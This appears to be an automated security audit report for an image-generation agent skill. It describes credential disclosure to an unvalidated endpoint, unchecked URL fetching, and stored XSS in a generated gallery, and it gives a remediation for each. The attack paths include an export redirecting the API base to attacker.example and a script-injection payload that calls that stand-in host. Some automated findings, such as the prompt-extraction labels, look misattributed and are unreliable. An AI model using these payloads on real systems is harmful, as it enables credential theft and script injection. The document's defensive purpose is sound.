Back to skill

Security audit

Openai Image Gen

Security checks for vulnerabilities and agentic risk

Overview

This image generator mostly matches its description, but it needs review because unsafe endpoint and gallery handling could expose your OpenAI key or prompt content in some setups.

Review before installing. Use it only with a trusted environment, leave OPENAI_BASE_URL and OPENAI_API_BASE unset unless you intentionally use a trusted compatible endpoint, avoid putting secrets or confidential information in prompts, and do not open generated galleries from prompts supplied by someone you do not trust until the HTML escaping issue is fixed.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/gen.py:31
Finding
OpenAI API Key Can Be Disclosed to an Unrestricted Custom Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/gen.py`, lines 31-40 and 96-104 **Vulnerability Type**: Credential disclosure through an unvalidated network destination **Risk Level**: High ### Vulnerable Code ```python def _api_url() -> str: base = ( os.environ.get("OPENAI_BASE_URL") or os.environ.get("OPENAI_API_BASE") or "https://api.openai.com" ).rstrip("/") if base.endswith("/v1"): return f"{base}/images/generations" return f"{base}/v1/images/generations" ``` ```python def _post_json(url: str, api_key: str, payload: dict, timeout_s: int) -> dict: body = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=body, headers={ "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", }, method="POST", ) ``` ### Technical Analysis The API destination can be overridden through `OPENAI_BASE_URL` or `OPENAI_API_BASE`. No scheme or hostname validation is performed before the script places the OpenAI API key in the HTTP `Authorization` header. Consequently, any process or configuration capable of controlling these environment variables can redirect the request to an arbitrary host. The code also permits plaintext `http://` destinations, allowing the bearer credential and prompt data to be transmitted without transport encryption. Custom API endpoints can be legitimate for compatible proxies, but this behavior is not documented in `SKILL.md`, which declares use of the OpenAI Images API. Sending the OpenAI credential to an unrestricted host exceeds the minimum network privileges required for the declared OpenAI-only functionality. ### Attack Path 1. An attacker influences the execution environment, shell profile, CI configuration, wrapper script, or launcher configuration. 2. The attacker sets an environment variable such as: ```bash export OPENAI_BASE_URL="https://attacker.example ...[truncated 977 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Restrict the default credential destination to `https://api.openai.com`. 2. Validate that the URL uses HTTPS and that its normalized hostname is explicitly trusted before attaching the OpenAI API key. 3. If compatible third-party endpoints are required: - Require an explicit command-line opt-in. - Display the selected credential destination before sending the request. - Use a separate provider-specific credential rather than automatically forwarding `OPENAI_API_KEY`. - Maintain an explicit endpoint allowlist where possible. 4. Reject URLs containing embedded credentials, unexpected ports, non-HTTPS schemes, or malformed hostnames. 5. Document custom endpoint behavior and its credential-disclosure implications in `SKILL.md`. 6. Consider requiring user confirmation when the destination differs from the official OpenAI endpoint. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/gen.py:199
Finding
Unvalidated Server-Provided Image URL Enables Arbitrary Resource Retrieval<![CDATA[ ## Vulnerability Details **File Location**: `scripts/gen.py`, lines 199-209 **Vulnerability Type**: Unrestricted URL retrieval / client-side SSRF **Risk Level**: Medium ### Vulnerable Code ```python if b64: png = base64.b64decode(b64) with open(path, "wb") as f: f.write(png) elif url_img: # Some models/servers return a temporary URL instead of b64_json. try: with urllib.request.urlopen(url_img, timeout=args.timeout) as resp: img = resp.read() except Exception as e: raise SystemExit(f"failed to download image url: {e}") with open(path, "wb") as f: f.write(img) else: raise SystemExit(f"unexpected response: {json.dumps(data, indent=2)[:1200]}") ``` ### Technical Analysis When the image API returns a `url` field, the script passes that value directly to `urllib.request.urlopen()`. It does not validate: - The URL scheme. - The destination hostname or resolved IP address. - Whether the destination is loopback, private, link-local, or otherwise internal. - Redirect destinations. - The response content type. - Whether the response is a valid image. - The maximum response size. This creates an arbitrary resource retrieval primitive for any server capable of controlling the API response. The risk is amplified by the unrestricted custom API endpoint configuration: a malicious custom server can return any URL and cause the script to retrieve it. The entire response is read into memory before being written to disk, allowing a large or unbounded response to consume substantial memory and storage. ### Attack Path 1. An attacker controls or compromises the configured image API server, or causes the user to select an attacker-controlled custom base URL. 2. The server returns a response containing a crafted `data[0].url`. 3. The URL points to an internal service, local resource supported by the URL handler, redirect chain, or oversized remote object. 4. The script automatically retrieves th ...[truncated 1167 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Accept only HTTPS image URLs. 2. Restrict downloads to an explicit allowlist of trusted image-storage hostnames where feasible. 3. Resolve the hostname and reject loopback, private, link-local, multicast, reserved, and unspecified IP ranges for both IPv4 and IPv6. 4. Disable redirects or validate every redirect destination using the same scheme, hostname, and IP rules. 5. Enforce a conservative maximum download size: - Check `Content-Length` when present. - Stream the response in bounded chunks. - Abort when the configured byte limit is exceeded. 6. Require an expected image content type and verify the downloaded bytes using an image parser before saving them. 7. Prefer base64 image data returned directly by the trusted API when supported, eliminating the secondary arbitrary URL request. 8. Apply connection and read timeouts and remove partial output files after failed validation. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/gen.py:132
Finding
Unescaped Prompt Content Enables Script Injection in the Generated Gallery<![CDATA[ ## Vulnerability Details **File Location**: `scripts/gen.py`, lines 132-136 **Vulnerability Type**: Stored HTML injection / stored cross-site scripting **Risk Level**: Medium ### Vulnerable Code ```python for it in items: html.append("<div class='card'>") html.append(f"<a href='{it['file']}'><img src='{it['file']}'></a>") html.append(f"<pre>{it['prompt']}</pre>") html.append("</div>") ``` ### Technical Analysis Prompt text is interpolated directly into the generated `index.html` without HTML escaping. The `--prompt` argument is user-controlled and can contain closing tags, HTML elements, event handlers, or script elements. The `<pre>` element does not neutralize markup. A payload can close the element and insert active HTML or JavaScript. Because `SKILL.md` explicitly instructs users to open the generated gallery, injected content is likely to be rendered after generation. Generated filenames are derived through `_slug()` and are restricted to lowercase alphanumeric characters and hyphens, so the prompt interpolation is the confirmed injection point. ### Attack Path 1. An attacker supplies or persuades a user to use a crafted prompt, for example: ```html </pre><script>fetch('https://attacker.example/collect?opened=1')</script><pre> ``` 2. The user runs the generator with the crafted value through `--prompt`. 3. The raw prompt is stored in the `items` collection. 4. `_write_index()` inserts it directly into `index.html`. 5. The user opens the generated gallery as directed by the Skill documentation. 6. The browser interprets the injected markup and executes the script in the local gallery context. ### Impact Assessment Injected JavaScript can modify the gallery, display deceptive content, initiate network requests, track when the gallery is opened, or expose information available to scripts in the resulting document context. Browser protections generally constrain access from a local file to unrelated local files, so a ...[truncated 308 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Escape all prompt text before inserting it into HTML: ```python import html html.append(f"<pre>{html.escape(it['prompt'])}</pre>") ``` 2. Escape all values placed into HTML attributes, even where current filename sanitization appears sufficient. 3. Prefer an auto-escaping HTML template engine to reduce the chance of future unsafe interpolation. 4. Add a restrictive Content Security Policy to the generated page, for example one that disallows scripts and remote resources. 5. Add regression tests using prompts containing closing tags, quotes, event handlers, ampersands, and script elements. 6. Treat `prompts.json` and gallery content as untrusted data if they can be shared between users or generated from externally supplied prompts. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (5)

Tainted flow: 'url_img' from os.environ.get (line 197, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
elif url_img:
            # Some models/servers return a temporary URL instead of b64_json.
            try:
                with urllib.request.urlopen(url_img, timeout=args.timeout) as resp:
                    img = resp.read()
            except Exception as e:
                raise SystemExit(f"failed to download image url: {e}")
Confidence
92% confidence
Finding
The script blindly fetches a URL returned by the upstream API response using urllib.request.urlopen without validating scheme, host, or destination. If the configured API base points to an untrusted or compromised server, that server can cause the client to make arbitrary outbound requests, enabling SSRF-style behavior against internal services or unexpected local/network resources.

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
f"Palette: {random.choice(palettes)}. "
            "Crisp, no text, no watermark."
        )
    return prompts


def _post_json(url: str, api_key: str, payload: dict, timeout_s: int) -> dict:
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
p.add_argument("--out-dir", default=None)
    p.add_argument("--api-key", default=None)
    p.add_argument("--prompt", action="append", default=None, help="repeatable; overrides random prompts")
    p.add_argument("--dry-run", action="store_true", help="print prompts + exit (no API calls)")
    args = p.parse_args(argv)

    api_key = args.api_key or os.environ.get("OPENAI_API_KEY")
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill invokes a Python script that requires an API key from the environment and makes outbound requests to the OpenAI Images API, but the skill metadata does not declare tool scope such as permissions or allowed tools. This creates a transparency and governance gap: users or hosting platforms cannot easily tell that the skill accesses secrets and the network, increasing the chance of unintended secret exposure or unauthorized external transmission.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The setup and run instructions state that prompts are rendered via the OpenAI Images API, but they do not clearly warn users that any prompt text they provide will be transmitted to an external service. If a user includes sensitive, proprietary, or personal information in prompts, that data may leave the local environment without sufficiently explicit notice.

Static analysis

No suspicious patterns detected.